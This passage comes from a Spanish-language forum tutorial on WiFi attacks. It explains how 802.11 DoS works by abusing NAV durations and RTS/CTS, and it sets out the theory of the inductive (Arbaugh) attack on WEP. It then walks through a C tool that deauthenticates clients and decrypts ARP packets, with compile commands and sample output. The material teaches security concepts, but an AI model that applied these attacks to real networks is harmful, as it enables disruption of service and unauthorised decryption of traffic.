    Podrás pensar que todo esto "ya lo hace aircrack" (bueno no todos) pero es que nosotros... los vamos a realizar "a mano" y luego " a máquina", ya sea con aircrack o con nuestras propias herramientas.

    Lo que importa no es cómo se llevará a cabo, importa cómo se hace!!!!

    Más adelante llegará WPA, EAP, etc... estamos empezando...
    [][][] LUK [][][]
    hackhispano.com
     

  6. #6  
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.289
    Descargas
    224
    Uploads
    251
    Seguimos con el Taller….

    Ya sí… os prometía “descanso”, continuar con WEP, etc…pero…. Como quiero que empecemos a “tocar bola” cuanto antes vamos a seguir y no precisamente con lo “prometido” (bueno casi sí)

    En este post vamos a “sentar” los principios de “los desafíos” que han de sortear las estaciones WiFi para acceder al medio.

    Gracias a esta información vamos a entender algunos de los “ataques” de Denegación de Servicio (DoS).

    Lo que voy a contar es algo que pocas veces se toma en cuenta y que desgraciadamente, ni siquiera se comenta en otros sitios (incluidos muy prestigiosos libros y documentos) o si se hace, lo explican de forma muy somera y con poca claridad.

    En las comunicaciones por cable (léase Ethernet que a todos nos suena mas) es razonable pensar que cuando una trama se transmite el receptor la recibe correctamente.

    Vale, sabemos que no siempre es así, que pueden existir “colisiones” sobretodo cuando usamos Hub’s en lugar de switches, aún con switches podemos tener colisiones en la red, especialmente lo que se denomina colisiones tardías, difíciles de diagnosticar.

    Una colisión no es otra cosa que el envío simultáneo de información por dos o mas estaciones en la red. Cuando eso ocurre, y volviendo al ejemplo de la red de cable Ethernet, los paquetes se destruyen y se hace “un silencio” para que se vuelva a retransmitir. De esto se ocupa un protocolo llamado CSMA/CD que si recordáis el Taller TCP/IP, era lo que llamaba el “policía de la red”, que pone orden en el tráfico, etc…

    Las comunicaciones por Radio Frecuencia no están libres de colisiones, ni mucho menos, sobretodo estas que llamamos WiFi.

    Además, el protocolo 802.11 trabaja de una forma “especial”, 802.11 incorpora un mecanismo de “asentimiento positivo” de forma que TODAS las tramas enviadas deben “confirmadas” con un ACK positivo por el receptor, de otra forma la trama se considera perdida.

    Bueno, veremos mas adelante (muuuchooo mas) pero ya os lo adelanto, que hay un caso especial: QoS.

    Ciertamente me sorprendió que en el hilo del tkiptun:

    http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5556&start=8&postdays=0&postorder=asc&highlight=

    Cuando dije:

    Cita:Otra cosa!!! que me olvidé al hablar de "las ventajas" de usar QoS en este tipo de ataques...

    Si está habilitado QoS, se pueden inyectar unos 15 tramas por cada paquete "descifrado"

    Nadie preguntó por qué con QoS se pueden enviar hasta 15 paquetes y sin QoS solamente uno!!!! Claro, que a lo mejor ya lo sabíais y por eso no se preguntó nada… Bueno, para los que no lo supieran:

    La razón de ello viene por esto que comentamos de los ACK positivos… determinadas comunicaciones QoS usan una “ráfaga” y precisamente por ello, podemos enviar 15 tramas sin necesidad de recibir un ACK por cada una de ellas, bastará un ACK positivo para las 15… bueno, que me estoy saliendo del tema…

    El caso es que cada trama de datos enviada debe ser respondida con su correspondiente ACK



    Y las preguntas con “trampa” de rigor…

    1.- Y Si se “pierde” la primera trama transmitida??
    2.- Y si lo que se pierde es el ACK???


    Con “perder” me refiero a interferencias, problemas de comunicación, etc…vamos que no llegan al destino...

    Pues en estos dos casos, la trama debe ser retransmitida (acabamos de descubrir el significado de uno de los bits de la FC que no comentamos nada en absoluto, el bit 11 (Reintentar o retransmitir) se activa cuando una trama lo está siendo.



    Pero volvamos a lo que nos ocupa… las colisiones.

    Ethernet cuenta con CSMA/CD para el tratamiento de colisiones, 802.11 cuenta con CSMA/CA.

    Sin embargo no es suficiente por sí sólo… y te pongo un ejemplo (una imagen)



    Equipo 1 y equipo 2 están “al alcance”
    Equipo 2 y Equipo 3, también lo están

    Sin embargo, equipo 3 no se puede comunicar directamente con Equipo 1 porque “no están al alcance”

    Además, es perfectamente posible que equipo 1 y equipo 3 transmitan datos al mismo tiempo, y eso… en la zona amarilla es una colisión.

    Esto es el equivalente de las colisiones tardías en Ethernet, aquí los llamamos “Nodos ocultos”, es decir, estaciones que pertenecen al medio pero que están tan alejadas unas de otras que la comunicación directa entre ellas no es posible.

    Por si fuese poco, la mayoría de las tarjetas inalámbricas operan en “half-duplex”, esto es, no pueden enviar y recibir al mismo tiempo (realmente son los transceptores de las tarjetas)

    Si juntamos todo esto… el equipo 1 y el equipo 3 pueden “no percatarse” de que existe colisión!!!

    ¿Cómo solucionar esto?

    Pues con algo de lo que seguro que has oído hablar (o seguro que leer o ver en las configuraciones de tarjetas y puntos de acceso): Enviar tramas ce control RTS y CTS.

    RTS es Request to Send, también hay quien lo llama ready to send o si lo prefieres preparado para trnasmitir
    CTS es Clear to Send o Listo para transmitir o permiso para transmirir

    Ambos aseguran que el canal “está limpio y preparado para transmitir” de tal forma que otras estaciones “se callan” hasta que el medio esté libre para poder enviar sus tramas.

    Luego la imagen correcta de acceso sería:



    Y si existiese un “nodo oculto” como en el ejemplo anterior, quedaría así:



    Como ves en la figura anterior, el nodo oculto recibe un CTS de aquél equipo que sí es accesible y “se calla”.

    Ni que decir tiene que todo esto tiene una temporización (Timing) y un “umbral” (threshold).

    El timing se puede “controlar” mediante ajustes DCF, PCF o HCF que no son otra cosa que cómo va a funcionar el protocolo CSMA/CA.

    El umbral también se puede ajustar en cada tarjeta, así por ejemplo las tramas “cortas” pueden ser enviadas inmediatamente mientras que las “largas” utilizarán RTS y CTS antes de ser enviadas.

    ¿Cortas y largas? ¿cómo de cortas o cómo de largas?

    Pues como ya he dicho, el umbral. Aquellas que sean mas cortas que el umbral se transmitirán inmediatamente y las que sean mas largas que el umbral, usarán los métodos RTS y CTS.

    DCF es el modo “por defecto” del estándar 802.11 y funciona igual que ethernet: Escuchar antes de hablar… y si hay silencio… se envía. Si hay colisión, se entrega un tiempo aleatorio de espera a cada estación y vuelta a empezar.

    PCF utiliza lo que se llama “Puntos de Coordinación” que son los propios puntos de acceso y difiere en el método anterior en que permite emitir a las estaciones tras un corto periodo de tiempo exista o no colisiones.

    HCF Permite a las estaciones “balancear” el tráfico en función de la mejor calidad de los servicios, encola los paquetes dependiendo del tipo de aplicación… es.. QoS.

    Tanto RTS/CTS. Como el Timming, como el umbral existen para garantizar una transmisión sin interrupciones y con el mínimo de sobrecarga.

    Y si piensas que aquí está todo dicho… pues falta otra cosa: NAV.

    NAV es un Vector de Localización de Red, lo utiliza CSMA/CA y la pareja CTS/RTS… pero también se inicializa con el campo Duración de la Cabecera MAC:

    Recordemos como era una cabecera MAC de una trama de datos:



    Como ves, existen 2 bytes después del Frame Control que representan la duración.

    La duración de que???

    Pues el tiempo estimado que debe estar el canal disponible para trasmitir la trama.

    Es un valor de 16 bits (2 bytes) de tal forma que si el bit 15 (el más significativo) está a cero el valor del resto de bits será el valor con el que se inicializa NAV.

    Es decir, NAV como mucho puede valer 2^15 = 32.768

    O dicho de otra forma, el tiempo máximo que se puede reservar para la retransmisión de una trama es de 32.768 ¿qué? Microsegundos.

    Todas las estaciones de la red monitorizan las tramas y las cabeceras MAC’s, de tal forma que durante la transmisión de la trama de otro equipo, “leen” la duración de la misma y añaden ese tiempo extra como tiempo de contención antes de enviar sus datos.

    Además puede haber más información en el campo Duración, por ejemplo, si los bits 15 y 14 están a uno indica un modo especial llamado PS-Poll que se usa en combinación de otros valores para la administración de energía y “despertar” a las estaciones que lo implementan, para nuestro taller, sin utilidad por el momento.

    Vale… y ahora que??

    Pues como vamos a empezar con las Denegaciones de Servicio… porqué no usar alguna de estas “características” para ello.

    Por ejemplo, enviar tramas con una duración de 32.768 que dijimos que eran una treintavo de segundo… bueno pues menudo DoS, no?? Jajaja,

    Y si enviamos unos cientos (o miles) de paquetes de “esos” ?? Qué pasará?? Lo imaginas, no???

    Y si inundamos la red con CTS/RTS???

    Pues eso mismo, son ejemplos… no todo consiste en Disociar o Des-autenticar a los clientes, pueden existir y existen “otras formas de fastidiar” sin necesidad de echar a la gente a patadas

    Después de esta explicación pasaremos a la práctica
    [][][] LUK [][][]
    hackhispano.com
     

  7. #7  
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.289
    Descargas
    224
    Uploads
    251
    VULNERABILIDADES WEP. PARTE III. TEORÍA (I)

    Ataque Inductivo.

    El ataque inductivo (también conocido como ataque Arbaught) consiste en la generación parcial de paquetes 802.11 que son enviados al punto de acceso con la esperanza de que uno de ellos sea correcto y a partir del mismo ir generando el keystream del paquete cifrado original y por consiguiente conseguir descifrarlo.

    Cuando digo punto de acceso debería decir Sistema de Distribución, pero vamos, es una forma "mas coloquial"

    Esta generación “parcial” no debes confundirla con el ataque de fragmentación, pues si bien se envían “fragmentos” de un paquete, no se trata del mismo tipo de ataque.

    El ataque inductivo será capaz de descifrar cualquier paquete de datos cifrado original y lo realiza desde “el principio hasta el final”, es decir, avanza progresivamente byte por byte desde el comienzo (o desde la posición que elijamos) hasta el último byte del paquete cifrado original.

    Otros ataques (luego los veremos) como chopchop hacen algo similar pero descifran “a la inversa”, esto es, comiernzan de “atrás hacia delante”, desde el último byte del paquete cifrado original hasta el primero.

    Además, ya veremos luego también, se puede combinar con otras ténicas como el “bit-flipping” para lograr el objetivo, que a la postre y en todos los casos de este tipo de ataques, son:

    • * Descifrar un paquete de datos original WEP
      * Obtener un keystream para poder descifrar otros
      * Obtener un keystream para poder inyectar nuevos paquetes a la red
    Es muy importante que comprendamos bien el funcionamiento del ataque inductivo porque muchos otros usan la misma técnica (o parecida como chopchop) es muy fácil de entender (y difícil de explicar, a ver si lo consigo), veamos:

    El atacante parte del hecho que puede generar un paquete en texto plano conocido, este paquete no estará completo, puesto que el atacante desconoce muchos parámetros necesarios para poder inyectarlo, el atacante desconoce:

    • * La clave WEP (obvio porque en otro caso todo esto no es necesario)

      * El contenido original del paquete en texto plano (lógico también)

      * El keystream original (por lo mismo de los dos anteriores)

      * Las direcciones IP’s de la red (como no conoce el texto plano original, el atacante no puede generar paquetes propios en texto plano con las direcciones de red adecuadas)
    Pero el atacante puede conocer partedel texto plano de un paquete cifrado con WEP!!!

    Cómo???? Estás seguro?????

    Sí.. El atacante mas que conocer, puede “reconstruir” parte de un paquete de datos en texto plano equivalente al paquete de datos cifrado.

    De hecho, el atacante tiene una ventaja muy, muy interesante… como ya sabemos, un paquete 802.11 comienza siempre en sus 6 primeros bytes por la cabecera SNAP

    Y esto sí lo conocemos!!!!

    Código:
     
    AA AA 03 00 00 00 si no hay spannig-tree 
    42 42 03 00 00 00 con spanning-tree en la red.
    Además, ya dijimos que un atacante puede “asumir” que determinados paquetes son de un determinado tipo u otro atendiendo a su tamaño, por ejemplo, los paquetes del tipo ARP son:

    • 68 bytes de longitud si no hay QoS
      70 bytes de longitud si hay QoS
    También es posible conocer el tamaño de otros paquetes interesantes, DHCP, TCP-SYN, etc.. estos paquetes suelen tener también un tamaño fijo y no son complicados de elaborar.

    Para mayor sencillez en las explicaciones vamos a usar un ARP.

    Un paquete ARP en una trama de datos 802.11 tiene esta forma



    De estas 4 partes, nos interesa sólo la zona de DATOS.

    Asumiendo que se tratase de un paquete ARP, podemos reconstruirlo (aproximadamente) así:



    Los datos que están reslatados en verde serán siempre los mismos para cualquier paquete ARP, los conocemos SEGURO por lo que los primeros 15 bytes cifrados podemos obtener su keystream.

    Los bytes resaltados en amarillo son desconocidos, pero podemos “intuirlos” o pocas son sus variaciones, por ejemplo:

    El byte 16 (la primera XX en amarillo) sería:


    • 01 Si es un Request (Solicitud ARP)
      02 Si es un Response (Respuesta ARP)
    (nos olvidamos de RARP, asumimos que no existe)

    Los bytes correspondientes a MAC ORIGEN Y/o MAC DESTINO también los podemos “intuir” observando la cabecera 802.11 que te recuerdo no está cifrada, aunque existe un problema:

    • Si se tratase de un ARP Request MAC DESTINO debería ser 00 00 00 00 00 00
      Si se tratase de un ARP Response Target MAC será la mac de quien originó la solicitud.
    Como no sabemos si es un ARP REQ o un ARP RSP, pues no podemos determinarlo a ciencia cierta.

    Los bytes en Rojo, son TOTALMENTE DESCONOCIDOS por el atacante.

    Por tanto, si quiesiéramos realizar un ataque inductivo de este paquete, lo mejor será comenzar por el byte 16 (que es el primero que desconocemos, el primero de la zona amarilla).

    En total, los datos cifrados son: 36 bytes para datos y 4 para el ICV, de los cuales conocemos 15.

    El tamaño completo de la trama “a buscar” sería:

    Código:
     
    24 bytes para la cabecera 80211 (ó 26 si hay QoS) 
    4 bytes para IV 
    36 bytes de datos (ARP) 
    4 bytes para el ICV 
     
    Total: 24 + 4 + 36 + 4 = 68 bytes total de la trama sin QoS 
    Total: 26 + 4 + 36 + 4 = 70 bytes total de la trama con QoS
    Lo que debemnos hacer es lo siguiente:

    1.- Generar una cabecera 802.11 válida, esto no ofrece dificultad alguna puesto que esa información siempre se transmiten en texto plano y podemos manipularlos como si tal cosa.

    Esta cabecera incluirá:

    Un Frame control de tipo 08 41 (trama de datos normal con el bit toDS activado y bit wep activado)

    Una duración: XX XX, la que queramos

    Las MAc’s destino-origen y BSSID, las que queramos y/o acordes a la red en la que nos movemos, tampoco es difícil puesto que las obtenemos en claro.

    Un número de secuencia: XX XX el que queramos

    Total cabecera 802.11 = 2 + 2 + 18 + 2 = 24 bytes de cabecera (sin QoS)

    2.- Añadimos el IV original del paquete capturado (4 bytes)

    3.- Añadimos los primeros 15 bytes (la zona verde del paquete ARP) que se corrsponden a lo que el atacante conoce SIEMPRE

    4.- Hacemos XOR de los 15 primeros bytes del paquete cifrado original con los 15 bytes del paquete en texto plano que ya conocemos, y obtenemos un keystream para esos primeros 15 bytes.

    5.- Se calcula un ICV para estos 15 bytes conocidos (4 bytes)

    Por el momento tenemos que el total de nuestra trama es:

    24 de cabecera 802.11 + 4 IV + 15 Datos + 4 ICV = 47 bytes

    6.- Enviamos una trama con 15 bytes – 3 = 12 bytes de datos y le añadimos el ICV -1 byte

    Por tanto, enviamos:

    24 de cabecera + 4 del IV + 12 bytes de datos + 3 icv = 43 bytes

    A esta operación le iremos añadiendo un byte al final (el del icv) por cada una de las combinaciones posibles (desde 0 a 256, desde 0x00 a 0xFF) y observamos si hay respuesta, si “acertamos” la estación o el Punto de acceso lanzará el paquete y deducimos que hemos acertado.

    Si no hay respuesta, probamos un nuevo valor, así hasta el 256.

    7.- Una vez obtenida la respuesta, sabremos cual es el byte correcto para la última posición (la 16), ese byte “adivinado” será el keystream para el byte cifrado número 16, por lo que si hacemos XOR tendremos su valor en plano (y según el ejemplo, ya sabremos si es un ARP REQ o RESP).

    8.- Repetimos todo el proceso desde el paso 3, sólo que ahora en lugar de tomar los primeros 15 bytes, tomamos los primeros 16 (este último lo descubrimos en el paso 6 y 7) y obtendremos el byte 17,

    Si repetimos esta operación para todos y cada uno de los bytes de datos cifrados, obtendremos la totalidad del paquete descifrado y una keystream que nos permitirá reinyectar o cifrar/descifrar otros nuevos.

    Resumiendo, el ataque inductivo se basa en que al conocer “parte” del texto plano de un paquete cifrado, podemos ir calculado su ICV y probando a enviar “partes” del mismo alterando el último byte.

    Te pongo una figura que ayuda MUCHO a entender todo esto:



    Por cada una de las “tandas de comprobación de los 256 bytes” deberíamos obtener al menos una respuesta correcta!!! Cuando esto ocurra, hacemos:



    De este modo ya tenemos el keystream, el texto plano y el byte cifrado (este último ya era conocido) del byte número 16.

    Si te fijas, antes dije:

    Cita:Por cada una de las “tandas de comprobación de los 256 bytes” deberíamos obtener al menos una respuesta correcta!!!

    Presta atención a las palabras “deberíamos” y “al menos una respuesta

    “Deberíamos” porque nadie nos asegura que no haya errores en la transmisión, o que el punto de acceso al recibir muchos paquetes inválidos antes del bueno emita desautenticaciones, etc… por eso “deberíamos”.

    “al menos una respuesta” porque puede haber mas, tampoco nadie nos asegura que otras estaciones utilicen este mismo IV y provoquen resultados “similares” o iguales a los esperados.

    Y qué pasa si ocurre alguna de estas “cosas”???

    Qué ocurresi no obtenemos respuesta o si la respuesta es un falso positivo???

    Pues que “el siguiente” byte a descifrar será erróneo y no producirá respuestas y/o resultados, de eso nos daremos cuenta cuando tras probar las 256 combinaciones posibles no obtenemos nada...

    Entonces???

    Entonces lo que hay que hacer es repetir, pero no hace falta empezar desde el primero, por ejemplo, si esa circunstancia se da en el byte número 27, repetimos todo el proceso desde el 26 (el último que se consiguió)

    Y si falla en el primero, para nuestro ejemplo en el 15????

    Pues no podemos seguir, el ataque debe finalizar y probar de nuevo, esta vez sí, desde el principio.

    El caso es que si todo va bien y no encontramos “inconvenientes” la operación se repite para el byte 16, 17, 18, etc… así hasta el último.

    Para nuestro ejemplo sonl 36 de datos + 4 del ICV = 40
    [][][] LUK [][][]
    hackhispano.com
     

  8. #8  
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.289
    Descargas
    224
    Uploads
    251
    VULNERABILIDADES WEP. PARTE III. Práctica (I)

    Ataque Inductivo.

    Vamos a realizar un programa que ejecute el ataque inductivo, las funciones que utiliza son:

    * send_packet, read_packet y dump_packet que como ya es habitual sirven para enviar, leer y/o mostrar el contenido de las tramas.

    Funcion main.

    * Lee del teclado un BSSID sobre el que se realizará el ataque
    * Llama a la función ataque_inductivo pasándole como parámetro ese BSSID. ataque_inductivo(mi_AP)

    Función ataque_inductivo

    Esta función lo primero que hace es capturar un paquete ARP Request de la red elegida (BSSID) en el caso de que tras leer 500 paquetes no se consiga un ARP, procede a una desautenticación al broadcast para capturar uno.

    La desautenticación la realiza llamando a una funcion que es:

    desautenticar_todos(macAP)

    O sea, se llama a esa función entregando como parámetro la mac del Punto de Acceso, esta función como ya hemos dicho enviará tramas de desautenticación al broadcast. Esta función ya la usamos en ejercicios anteriores y por tanto no comentaremos nada nuevo de ella.

    Una nueva comprobación ha sido añadida para avanzar mas en nuestro Taller. Consiste en averiguar si se trata de un paquete con cifrado WEP.

    AVISO!!! No me refiero a si el bit wep está activado (que lo debe estar si la red está protegida) me refiero a que si se trata CONCRETAMENTE de cifrado WEP u otro.

    Te recuerdo que el bit wep activo indica cifrado pero no EL TIPO de cifrado, una red WPA tiene el bit wep activado, una red WEP tiene el bit wep activado también.

    Luego el mero hecho de que esté activado el bit wep no significa obligatoriamente que se trate de una red WEP.

    Creo que os lo puse como ejercicio (haceeee muuuuuchos post de ello) y parece que nadie “se atrevió” a contestar o a intentarlo, bien, pues ya va siendo hora de resolverlo.

    Podemos averiguar rápidamente si una red utiliza cifrado WEP analizando el IV (Vector de inicialización) un IV de WEP es así:

    Código:
     
    3 bytes (24 bits) para el IV 
    1 byte (8 bits) para el keyindex (número de llave que usa)
    Te recuerdo que WEP puede usar diferentes números de llave para la misma clave WEP, incluso estas llaves pueden ser dinámicas con el objeto de proteger aún mas la red.

    Entonces si analizamos el último byte del IV podemos saber si es un cifrado WEP o no, este byte no es otra cosa que el key index.

    Para WEP, el keyindex, debe ser un valor inferior a 32, de hecho ya conocemos que sólo se usarán 0, 1, 2 ó 3.

    Para WPA se usa 0x60, por tanto si podemos hacer una operación AND del keyindex para saber si es WEP o no.

    Algo así:

    Código:
     
    SI (h80211[cabmac+3] & 0x20)) es distinto a cero ) NO ES WEP 
    En caso contrario ES WEP 
     
    Siendo cabmac la longitud de la cabecera y h80211 un array con el contenido completo del paquete/trama h80211
    Recuerda que esta comprobación sólo es efectiva si se trata de una trama de DATOS!!! Puesto que si es de administración o control, esa posición no es el keyindex de la clave de cifrado.

    Otras formas de averiguarlo, por ejemplo en un beacon o en un probe request o probe response, también se incluye como datos de los mismos el tipo de cifrado que se usa, pero la forma anterior es más sencilla de comprobarlo en esta ocasión.

    El resto de comprobaciones que hace consiste en averiguar si se trata de un paquete ARP o no, y se analiza el tamaño, que tenga el bit wep activado, que sea un paquete de datos, que sea un paquete toDS y que el bssid de la trama capturada sea igual al bssid que le pasamos por teclado.

    Observa que el paquete ha de ser toDS!!!

    Sabes por qué, no????

    Claro, si hemos desautenticado a las estaciones es lógico pensar que un ARP Request debe ser un paquete que una estación envía HACIA el sistema de distribución, por eso toDS.

    Las otras condiciones son obvias y en cuanto al tamaño, recuerda lo explicado en el post de la teoría… 68 bytes para un ARP (o 70 si hay QoS)


    Una vez que tenemos capturado un ARP REQ, ya podemos empezar, para ello se utilizan una serie de arrays que iran almacenando los datos necesarios, estos son:
    • paquete_cifrado: Lógicamente se trata del paquete original

      h80211: Que se usará para enviar o recibir las tramas

      temporal: como su nombre indica es un almacén temporal y guardará los datos en texto plano conocidos y los que se vayan descifrando. OJO!!! Sólo los datos, sin cabeceras, sin IV’s y sin ICV’s. SOLO DATOS.

      crc32: pues será un array que almacena el icv resultante de temporal.

      F3: es un array temporal en el cual se va construyendo el paquete completo en plano, incluidos la cabecera MAC, IV, DATOS en PLANO e ICV

      key_stream: pues será donde iremos guardando el resultado de hacer XOR entre el paquete en plano y el paquete cifrado. Este array keystream comienza con el IV, es decir, los primeros 4 bytes realmente no es el keystream sino el IV.

      paq_plano: es otro array que almacena el texto plano, similar al array temporal del que hablamos antes.
    Además contamos con otras variables y constantes necesarias para llevar el ataque:
    • mi_ARP contiene los primeros 15 bytes bien conocidos de un paquete ARP (repasa la teoría si no lo ves claro)

      inicio, es la posición inicial del ataque, para nuestro caso será 15

      final: es el último byte a descifrar, para nuestro ejemplo 36 de datos + 4 para el ICV original = 40 bytes a descifrar

      actual: que marcará el byte que está siendo analizado, al comienzo de todo el ataque actual=inicio y cuando termine deberá ser igual a final. Actual se irá incrementando en una unidad a medida que vamos descifrando nuevos bytes.
    También utiliza dos funciones:

    add_crc32 que calculará el ICV para un texto plano dado, de esta función no debemos preocuparnos puesto que ya está incluida en las cabeceras crypto.h y programa crypto.c, recuerda simplemente lo que hace, calcular el crc32 de algo, que en nuestro caso será algo como esto:

    Código:
    add_crc32 (temporal, actual-3)
    Esto calcula el crc32 (ICV) del contenido de temporal y se lo añade en la posición que diga actual – 3.

    También conviene aclarar que al ICV se le aplica una máscara u otra dependiendo de si se trata de un ICV de texto plano o un ICV cifrado, de esto ya hablaremos cuando expliquemos el bit-flipping, por elk momento, ni te preocupes de ello.

    Para seguir con el ejemplo de la parte de teoría, imagina que la posición de actual es 15, por tanto lo que hará esta función es calcular el ICV de los primeros 15 bytes y los coloca en la posición 12,13,14 y 15 (tal y como veíamos en la figura) n = actual



    Después se colocan la cabecera mac, el iv, se realizan las operaciones XOR necesarias, se coloca al ICV (sólo los 3 primeros bytes) y se entra en un ciclo de 256 repeticiones (una para cada posible valor de 0x00 a 0xFF)

    Se van enviando estos paquetes con el “añadido” de ese último byte y se comprueban las respuestas.

    La comprobación de las respuestas lo realiza un a nueva función llamada ver_envio_ap a la cual se le pasan como parámetros el bssid, el byte actual que está siendo descifrado y el valor del contador del ciclo (n).


    La función ver_envio_ap, además, captura durante 150000 microsegundos (aprox. Un octavo de segundo) y “busca” en esas capturas si se produjo una respuesta válida al último paquete que enviamos, de tal forma que:
    • Entregará como resultado 0 (cero) si no hubo respuesta
      Un valor distinto a cero si acertamos con el byte.
    Ese valor de retorno (siempre que no sea cero) será el valor de actual+24+4+1) es decir,

    Código:
     
    Para nuestro primer byte sería (el 15) 
     
    Retorno= 15 + 24 + 4 + 1 = 44 bytes 
     
    15 por la posición actual 
    24 por la cabecera 80211 (o 26 si hay QoS) 
    4 por el IV 
    1 por el byte que estamos añadiendo
    Si encontramos un paquete de ese tamaño y que cumpla las otras condiciones como que sea wep, que sea de datos, que el bssid sea el que escribimos por teclado Y QUE SEA fromDS!!!!!, podemos asegurar que es el nuestro.

    Ojo!!! Importante lo de fromDS, está claro, si nosotros enviamos paquetes modificados con el bit toDS activado (HACIA), es de suponer que cuando alguno de ellos “sea el corecto” el punto de acceso responderá con el bit fromDS (DESDE) activado.

    Todo esto lo realiza la función ver_envio_ap

    Por último, si se recibió la respuesta se muestra por pantalla, se incrementa actual en una unidad y el contador de posibilidades (n) vuelve a cero.

    Si no hubo respuesta, se incrementa al contador (n) en uno y se prueba de nuevo todo el proceso.

    Si agotamos todas las posibilidades de n bytes (de 0 a 256) lo repetimos de nuevo desde la posición actual -1 (recuerda lo que se dijo en la parte de teoría acerca de los problemas de transmisión o de falsos positivos.

    Si falla el envío desde la posición inicial (15) el ataque no tuvo éxito y deberíamos repetir todo desde el inicio.

    En fin, esta es la secuencia del ataque, en esta ocasión y dado que el código fuente es un poquito mas largo que de costumbre, he preferido explicarlo en lugar de postearlo sin mas.

    Este es un diagrama básico de lo cómo funciona en bloques el ataque inductivo que implementa este programa:



    De todas formas en el código fuente del ejercicio dispones de numerosísimos comentarios que van (prácticamente línea por línea) aclarando qué se hace, para qué y cómo.

    Lo puedes descargar en: http://www.megaupload.com/?d=VPG05ZR6

    Lo guardas en el directorio de las fuentes de aircrack con el nombre arpdecode4.c (si… hubo versiones arpdecode 1, 2 y 3 antes de conseguir que funcionase fino)

    y lo compilas:

    Código:
     
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o arpdecode4.o arpdecode4.c 
     
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude arpdecode4.o common.o crypto.o -o arpdecode4 -Losdep -losdep -lssl -lcrypto
    Podemos verlo en acción:

    Código:
     
    Taller_WiFi src # ./arpdecode4 eth1 
     
    Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D 
     
    Leyendo paquete número 499 on destino a --------> 00:16:B6:41:03:5D: 
     
    ATENCION!!! Parece que no se capturan ARP_REQ 
    *********** Probando desautenticación al broadcast 
     
    Desautenticación 
    **************** 
    C0 00 3C 02 FF FF FF FF FF FF 00 16 B6 41 03 5D 
    00 16 B6 41 03 5D 00 00 04 00 
     
    Enviando Desautenticación número 8 
     
    <---- Encontrado paquete ----> 
    <---- Esperando 3 Segundos---> 
    Paquete CIFRADO ORIGINAL (solo los datos + ICV) 
    *********************************************** 
     
    80 E3 C3 5A 5F 12 30 50 D4 01 D5 65 3E 3D 6F E1 
    09 EA 6F 7F 50 D3 B1 79 55 53 EF EE 03 64 98 7E 
    CC F9 9F EF 53 07 FC AF 
     
    -> Byte num. 1 Candidato n/a keystream 2A byte cifrado: 80 byte decode AA <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 2 Candidato n/a keystream 49 byte cifrado: E3 byte decode AA <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 3 Candidato n/a keystream C0 byte cifrado: C3 byte decode 03 <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 4 Candidato n/a keystream 5A byte cifrado: 5A byte decode 00 <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 5 Candidato n/a keystream 5F byte cifrado: 5F byte decode 00 <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 6 Candidato n/a keystream 12 byte cifrado: 12 byte decode 00 <--- DATOS conocidos --> CABECERA SNAP 
    -> Byte num. 7 Candidato n/a keystream 38 byte cifrado: 30 byte decode 08 <--- DATOS conocidos --> Protocolo ARP 
    -> Byte num. 8 Candidato n/a keystream 56 byte cifrado: 50 byte decode 06 <--- DATOS conocidos --> Protocolo ARP 
    -> Byte num. 9 Candidato n/a keystream D4 byte cifrado: D4 byte decode 00 <--- DATOS conocidos --> Hardware Ethernet 
    -> Byte num. 10 Candidato n/a keystream 00 byte cifrado: 01 byte decode 01 <--- DATOS conocidos --> Hardware Ethernet 
    -> Byte num. 11 Candidato n/a keystream DD byte cifrado: D5 byte decode 08 <--- DATOS conocidos --> Protocolo IP 
    -> Byte num. 12 Candidato n/a keystream 65 byte cifrado: 65 byte decode 00 <--- DATOS conocidos --> Protocolo IP 
    -> Byte num. 13 Candidato n/a keystream 38 byte cifrado: 3E byte decode 06 <--- DATOS conocidos --> Longitud MAC 
    -> Byte num. 14 Candidato n/a keystream 39 byte cifrado: 3D byte decode 04 <--- DATOS conocidos --> Versión IP 
    -> Byte num. 15 Candidato n/a keystream 6F byte cifrado: 6F byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP) 
    -> Byte num. 16 Candidato 5B keystream E0 byte cifrado: E1 byte decode 01 <--- ARP REQUEST 
    -> Byte num. 17 Candidato 9E keystream 09 byte cifrado: 09 byte decode 00 <--- MAC ORIGEN 
    -> Byte num. 18 Candidato F7 keystream FD byte cifrado: EA byte decode 17 <--- MAC ORIGEN 
    -> Byte num. 19 Candidato 44 keystream F5 byte cifrado: 6F byte decode 9A <--- MAC ORIGEN 
    -> Byte num. 20 Candidato 4D keystream BC byte cifrado: 7F byte decode C3 <--- MAC ORIGEN 
    -> Byte num. 21 Candidato 16 keystream 86 byte cifrado: 50 byte decode D6 <--- MAC ORIGEN 
    -> Byte num. 22 Candidato E8 keystream 6A byte cifrado: D3 byte decode B9 <--- MAC ORIGEN 
    -> Byte num. 23 Candidato A6 keystream BB byte cifrado: B1 byte decode 0A <--- IP ORIGEN (decimal 10) 
    -> Byte num. 24 Candidato AF keystream 73 byte cifrado: 79 byte decode 0A <--- IP ORIGEN (decimal 10) 
    -> Byte num. 25 Candidato 67 keystream 5F byte cifrado: 55 byte decode 0A <--- IP ORIGEN (decimal 10) 
    -> Byte num. 26 Candidato 22 keystream 9B byte cifrado: 53 byte decode C8 <--- IP ORIGEN (decimal 200) 
    -> Byte num. 27 Candidato B0 keystream EF byte cifrado: EF byte decode 00 <--- MAC DESTINO 
    -> Byte num. 28 Candidato 39 keystream EE byte cifrado: EE byte decode 00 <--- MAC DESTINO 
    -> Byte num. 29 Candidato 74 keystream 03 byte cifrado: 03 byte decode 00 <--- MAC DESTINO 
    -> Byte num. 30 Candidato FD keystream 64 byte cifrado: 64 byte decode 00 <--- MAC DESTINO 
